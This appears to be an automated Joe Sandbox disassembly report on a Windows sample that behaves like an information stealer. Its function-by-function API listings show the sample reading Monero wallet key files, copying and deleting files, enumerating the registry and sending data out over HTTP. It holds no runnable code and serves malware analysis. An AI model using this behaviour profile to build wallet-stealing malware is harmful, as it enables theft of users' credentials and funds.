Associated: 00000000.00000002.2271169079.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000068D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271516588.000000000068E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271759318.0000000000830000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271785006.0000000000831000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_file.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcat$AllocateBinaryConnectCrackCryptFileProcessReadSendString
String ID: ------$"$"$"$--$------$------$------
API String ID: 1224485577-2774362122
Opcode ID: 0267e0adf61c8e3123664d20ee7afefd7f8a8c10c9855ed86ea64f52a756e1b6
Instruction ID: 3ab00efbbc0d21af96b2dafb80fedebeb8f53b7a9336e418338b4482bd925aad
Opcode Fuzzy Hash: 0267e0adf61c8e3123664d20ee7afefd7f8a8c10c9855ed86ea64f52a756e1b6
Instruction Fuzzy Hash: D032D272920128ABDF15EBA0DC95FEEB378BF64705F804159F106A2091DF706A4DCF96

Function 0018A790 Relevance: 39.0, APIs: 21, Strings: 1, Instructions: 539
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0019AA70: StrCmpCA.SHLWAPI(01348A90,0018A7A7,?,0018A7A7,01348A90), ref: 0019AA8F

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0018AAC8
RtlAllocateHeap.NTDLL(00000000), ref: 0018AACF
StrCmpCA.SHLWAPI(00000000,ERROR_RUN_EXTRACTOR), ref: 0018ABE2
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0018A8B0

Part of subcall function 0019A820: lstrlen.KERNEL32(00184F05,?,?,00184F05,001A0DDE), ref: 0019A82B
Part of subcall function 0019A820: lstrcpy.KERNEL32(001A0DDE,00000000), ref: 0019A885

Part of subcall function 0019A9B0: lstrlen.KERNEL32(?,01348820,?,\Monero\wallet.keys,001A0E17), ref: 0019A9C5
Part of subcall function 0019A9B0: lstrcpy.KERNEL32(00000000), ref: 0019AA04
Part of subcall function 0019A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0019AA12

Part of subcall function 0019A8A0: lstrcpy.KERNEL32(?,001A0E17), ref: 0019A905

lstrcat.KERNEL32(?,00000000), ref: 0018ACEB
lstrcat.KERNEL32(?,001A1320), ref: 0018ACFA
lstrcat.KERNEL32(?,00000000), ref: 0018AD0D
lstrcat.KERNEL32(?,001A1324), ref: 0018AD1C
lstrcat.KERNEL32(?,00000000), ref: 0018AD2F
lstrcat.KERNEL32(?,001A1328), ref: 0018AD3E
lstrcat.KERNEL32(?,00000000), ref: 0018AD51
lstrcat.KERNEL32(?,001A132C), ref: 0018AD60
lstrcat.KERNEL32(?,00000000), ref: 0018AD73
lstrcat.KERNEL32(?,001A1330), ref: 0018AD82
lstrcat.KERNEL32(?,00000000), ref: 0018AD95
lstrcat.KERNEL32(?,001A1334), ref: 0018ADA4
lstrcat.KERNEL32(?,00000000), ref: 0018ADB7
lstrlen.KERNEL32(?), ref: 0018AE0D
lstrlen.KERNEL32(?), ref: 0018AE1C

Part of subcall function 0019A740: lstrcpy.KERNEL32(001A0E17,00000000), ref: 0019A788

Part of subcall function 0019A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0019A7E6

DeleteFileA.KERNEL32(00000000), ref: 0018AE97

Strings

ERROR_RUN_EXTRACTOR, xrefs: 0018ABD4

Memory Dump Source

Source File: 00000000.00000002.2270665398.0000000000181000.00000040.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2270635168.0000000000180000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.00000000001DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000208000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000020F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000231000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000023D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000262000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000028F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000029B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000029E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000325000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000345000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000034B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.00000000003DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000056C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.0000000000676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000068D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271516588.000000000068E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271759318.0000000000830000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271785006.0000000000831000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcess
String ID: ERROR_RUN_EXTRACTOR
API String ID: 4157063783-2709115261
Opcode ID: 0ef5cce0756861ac22d03fa758625a584c5c16cd0e6526ce2e46d8f97194e633
Instruction ID: ca03ce38a895a534a6ddf2ede1d1ad3a54dcaff3c9fc48299ebac45baedf6b4f
Opcode Fuzzy Hash: 0ef5cce0756861ac22d03fa758625a584c5c16cd0e6526ce2e46d8f97194e633
Instruction Fuzzy Hash: 7F120D71910118ABDF09FBA0DD96EEE737CBF24305F904159B507A6091DF35AE0ACBA2

Function 00185960 Relevance: 39.0, APIs: 17, Strings: 5, Instructions: 495
networkstringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0019A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0019A7E6

Part of subcall function 001847B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00184839
Part of subcall function 001847B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00184849

Part of subcall function 0019A740: lstrcpy.KERNEL32(001A0E17,00000000), ref: 0019A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 001859F8
StrCmpCA.SHLWAPI(?,0134E510), ref: 00185A13
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00185B93
lstrlen.KERNEL32(00000000,00000000,?,00000000,00000000,?,",00000000,?,0134E5E0,00000000,?,01349938,00000000,?,001A1A1C), ref: 00185E71
lstrlen.KERNEL32(00000000), ref: 00185E82
GetProcessHeap.KERNEL32(00000000,?), ref: 00185E93
RtlAllocateHeap.NTDLL(00000000), ref: 00185E9A
lstrlen.KERNEL32(00000000), ref: 00185EAF
lstrlen.KERNEL32(00000000), ref: 00185ED8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00185EF1
lstrlen.KERNEL32(00000000,?,?), ref: 00185F1B
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00185F2F
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 00185F4C
InternetCloseHandle.WININET(00000000), ref: 00185FB0
InternetCloseHandle.WININET(00000000), ref: 00185FBD
HttpOpenRequestA.WININET(00000000,0134E430,?,0134D838,00000000,00000000,00400100,00000000), ref: 00185BF8

Part of subcall function 0019A9B0: lstrlen.KERNEL32(?,01348820,?,\Monero\wallet.keys,001A0E17), ref: 0019A9C5
Part of subcall function 0019A9B0: lstrcpy.KERNEL32(00000000), ref: 0019AA04
Part of subcall function 0019A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0019AA12

Part of subcall function 0019A8A0: lstrcpy.KERNEL32(?,001A0E17), ref: 0019A905

Part of subcall function 0019A920: lstrcpy.KERNEL32(00000000,?), ref: 0019A972
Part of subcall function 0019A920: lstrcat.KERNEL32(00000000), ref: 0019A982

InternetCloseHandle.WININET(00000000), ref: 00185FC7

Strings

", xrefs: 00185CD5
------, xrefs: 00185D4C
------, xrefs: 00185A96
------, xrefs: 00185C0B
", xrefs: 00185E16

Memory Dump Source

Source File: 00000000.00000002.2270665398.0000000000181000.00000040.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2270635168.0000000000180000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.00000000001DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000208000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000020F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000231000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000023D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000262000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000028F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000029B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000029E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000325000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000345000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000034B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.00000000003DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000056C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.0000000000676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000068D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271516588.000000000068E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271759318.0000000000830000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271785006.0000000000831000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_file.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcat$AllocateConnectCrackFileProcessReadSend
String ID: "$"$------$------$------
API String ID: 874700897-2180234286
Opcode ID: 6fc845ac37f2d96a7b11a95ca0073cdc66f31f1d0cb9d9f7acd70b43e95f091f
Instruction ID: 416f17a1543f6d6838b6f57b41739f144bbdd16f470d4d422b7f7db3e9a3d8ba
Opcode Fuzzy Hash: 6fc845ac37f2d96a7b11a95ca0073cdc66f31f1d0cb9d9f7acd70b43e95f091f
Instruction Fuzzy Hash: C912C071860128ABDF15EBA0DC95FEEB378BF24705F904199B10AA2091DF706B4DCFA5

Function 0018CEF0 Relevance: 30.4, APIs: 20, Instructions: 375
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0019A740: lstrcpy.KERNEL32(001A0E17,00000000), ref: 0019A788

Part of subcall function 0019A9B0: lstrlen.KERNEL32(?,01348820,?,\Monero\wallet.keys,001A0E17), ref: 0019A9C5
Part of subcall function 0019A9B0: lstrcpy.KERNEL32(00000000), ref: 0019AA04
Part of subcall function 0019A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0019AA12

Part of subcall function 0019A8A0: lstrcpy.KERNEL32(?,001A0E17), ref: 0019A905

Part of subcall function 00198B60: GetSystemTime.KERNEL32(001A0E1A,01349DE8,001A05AE,?,?,001813F9,?,0000001A,001A0E1A,00000000,?,01348820,?,\Monero\wallet.keys,001A0E17), ref: 00198B86

Part of subcall function 0019A920: lstrcpy.KERNEL32(00000000,?), ref: 0019A972
Part of subcall function 0019A920: lstrcat.KERNEL32(00000000), ref: 0019A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0018CF83
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0018D0C7
RtlAllocateHeap.NTDLL(00000000), ref: 0018D0CE
lstrcat.KERNEL32(?,00000000), ref: 0018D208
lstrcat.KERNEL32(?,001A1478), ref: 0018D217
lstrcat.KERNEL32(?,00000000), ref: 0018D22A
lstrcat.KERNEL32(?,001A147C), ref: 0018D239
lstrcat.KERNEL32(?,00000000), ref: 0018D24C
lstrcat.KERNEL32(?,001A1480), ref: 0018D25B
lstrcat.KERNEL32(?,00000000), ref: 0018D26E
lstrcat.KERNEL32(?,001A1484), ref: 0018D27D
lstrcat.KERNEL32(?,00000000), ref: 0018D290
lstrcat.KERNEL32(?,001A1488), ref: 0018D29F
lstrcat.KERNEL32(?,00000000), ref: 0018D2B2
lstrcat.KERNEL32(?,001A148C), ref: 0018D2C1
lstrcat.KERNEL32(?,00000000), ref: 0018D2D4
lstrcat.KERNEL32(?,001A1490), ref: 0018D2E3

Part of subcall function 0019A820: lstrlen.KERNEL32(00184F05,?,?,00184F05,001A0DDE), ref: 0019A82B
Part of subcall function 0019A820: lstrcpy.KERNEL32(001A0DDE,00000000), ref: 0019A885

lstrlen.KERNEL32(?), ref: 0018D32A
lstrlen.KERNEL32(?), ref: 0018D339

Part of subcall function 0019AA70: StrCmpCA.SHLWAPI(01348A90,0018A7A7,?,0018A7A7,01348A90), ref: 0019AA8F

DeleteFileA.KERNEL32(00000000), ref: 0018D3B4

Memory Dump Source

Source File: 00000000.00000002.2270665398.0000000000181000.00000040.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2270635168.0000000000180000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.00000000001DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000208000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000020F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000231000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000023D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000262000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000028F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000029B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000029E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000325000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000345000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000034B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.00000000003DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000056C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.0000000000676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000068D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271516588.000000000068E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271759318.0000000000830000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271785006.0000000000831000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTime
String ID:
API String ID: 1956182324-0
Opcode ID: 081f963cdb3886a6158979326b2e6463a8de3ce609ba458e78e81ccd8e124e38
Instruction ID: cd36a74d54cd58af88dc7d3d81a87ab1ef26cf179e7de7421f5a8b4b903fda61
Opcode Fuzzy Hash: 081f963cdb3886a6158979326b2e6463a8de3ce609ba458e78e81ccd8e124e38
Instruction Fuzzy Hash: 28E1E971910118ABCF09EBA0DD96EEE777CBF24305F904158F506A7091DF35BA0ACBA6

Function 00198320 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 196registryCOMMON

Download Yara Rule

APIs

Part of subcall function 0019A740: lstrcpy.KERNEL32(001A0E17,00000000), ref: 0019A788

RegOpenKeyExA.KERNEL32(00000000,0134AD60,00000000,00020019,00000000,001A05B6), ref: 001983A4
RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00198426
wsprintfA.USER32 ref: 00198459
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 0019847B
RegCloseKey.ADVAPI32(00000000), ref: 0019848C
RegCloseKey.ADVAPI32(00000000), ref: 00198499

Part of subcall function 0019A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0019A7E6

Strings

%s\%s, xrefs: 0019844D
?, xrefs: 0019837A
- , xrefs: 001985A3

Memory Dump Source

Source File: 00000000.00000002.2270665398.0000000000181000.00000040.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2270635168.0000000000180000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.00000000001DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000208000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000020F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000231000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000023D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000262000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000028F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000029B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000029E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000325000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000345000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000034B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.00000000003DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000056C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.0000000000676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000068D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271516588.000000000068E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271759318.0000000000830000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271785006.0000000000831000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_file.jbxd

Yara matches

Similarity

API ID: CloseOpenlstrcpy$Enumwsprintf
String ID: - $%s\%s$?
API String ID: 3246050789-3278919252
Opcode ID: c72e310de72d5a6d321c9f3b2f55774d27cf681a103ee837fae980fb8df4e524
Instruction ID: b99d63a6f32ac22325ab54e69d8126bf60830e47828a777f8af599a83325d266
Opcode Fuzzy Hash: c72e310de72d5a6d321c9f3b2f55774d27cf681a103ee837fae980fb8df4e524
Instruction Fuzzy Hash: E881FA7191011CABDB29DB64CD95FEAB7B8BF18704F408299E109A6180DF716B89CFE1

Function 00186280 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0019A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0019A7E6

Part of subcall function 001847B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00184839
Part of subcall function 001847B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00184849

Part of subcall function 0019A740: lstrcpy.KERNEL32(001A0E17,00000000), ref: 0019A788

InternetOpenA.WININET(001A0DFE,00000001,00000000,00000000,00000000), ref: 001862E1
StrCmpCA.SHLWAPI(?,0134E510), ref: 00186303
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00186335
HttpOpenRequestA.WININET(00000000,GET,?,0134D838,00000000,00000000,00400100,00000000), ref: 00186385
InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 001863BF
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 001863D1
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 001863FD
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 0018646D
InternetCloseHandle.WININET(00000000), ref: 001864EF
InternetCloseHandle.WININET(00000000), ref: 001864F9
InternetCloseHandle.WININET(00000000), ref: 00186503

Strings

ERROR, xrefs: 00186407
GET, xrefs: 0018637C
ERROR, xrefs: 001864C9

Memory Dump Source

Source File: 00000000.00000002.2270665398.0000000000181000.00000040.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2270635168.0000000000180000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.00000000001DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000208000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000020F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000231000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000023D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000262000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000028F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000029B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000029E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000325000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000345000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000034B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.00000000003DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000056C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.0000000000676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000068D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271516588.000000000068E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271759318.0000000000830000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271785006.0000000000831000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHttp$OpenRequestlstrcpy$ConnectCrackFileInfoOptionQueryReadSendlstrlen
String ID: ERROR$ERROR$GET
API String ID: 3749127164-2509457195
Opcode ID: be2654c5684cd7b79946b21f5e3665d05f9155763afabe2f9e94caa6e13bda9c
Instruction ID: 6adc9caeed5d7f292627e208156506d62bb430cce0891b054c44ed9e08fbc862
Opcode Fuzzy Hash: be2654c5684cd7b79946b21f5e3665d05f9155763afabe2f9e94caa6e13bda9c
Instruction Fuzzy Hash: 37713E71A00218ABDF14EBA0DC59FEE77B8BF44704F508158F509AB190DBB56A89CF91

Function 00195510 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 0019A820: lstrlen.KERNEL32(00184F05,?,?,00184F05,001A0DDE), ref: 0019A82B
Part of subcall function 0019A820: lstrcpy.KERNEL32(001A0DDE,00000000), ref: 0019A885

Part of subcall function 0019A740: lstrcpy.KERNEL32(001A0E17,00000000), ref: 0019A788

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00195644
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 001956A1
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00195857

Part of subcall function 0019A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0019A7E6

Part of subcall function 001951F0: StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00195228

Part of subcall function 0019A8A0: lstrcpy.KERNEL32(?,001A0E17), ref: 0019A905

Part of subcall function 001952C0: StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00195318
Part of subcall function 001952C0: lstrlen.KERNEL32(00000000), ref: 0019532F
Part of subcall function 001952C0: StrStrA.SHLWAPI(00000000,00000000), ref: 00195364
Part of subcall function 001952C0: lstrlen.KERNEL32(00000000), ref: 00195383
Part of subcall function 001952C0: lstrlen.KERNEL32(00000000), ref: 001953AE

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 0019578B
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00195940
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00195A0C
Sleep.KERNEL32(0000EA60), ref: 00195A1B

Strings

ERROR, xrefs: 00195693
ERROR, xrefs: 0019577D
ERROR, xrefs: 001959FE
ERROR, xrefs: 00195932
ERROR, xrefs: 00195849
ERROR, xrefs: 00195636

Memory Dump Source

Source File: 00000000.00000002.2270665398.0000000000181000.00000040.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2270635168.0000000000180000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.00000000001DA000.00000040.00000001.01000000.00000003.sdmpDownload File
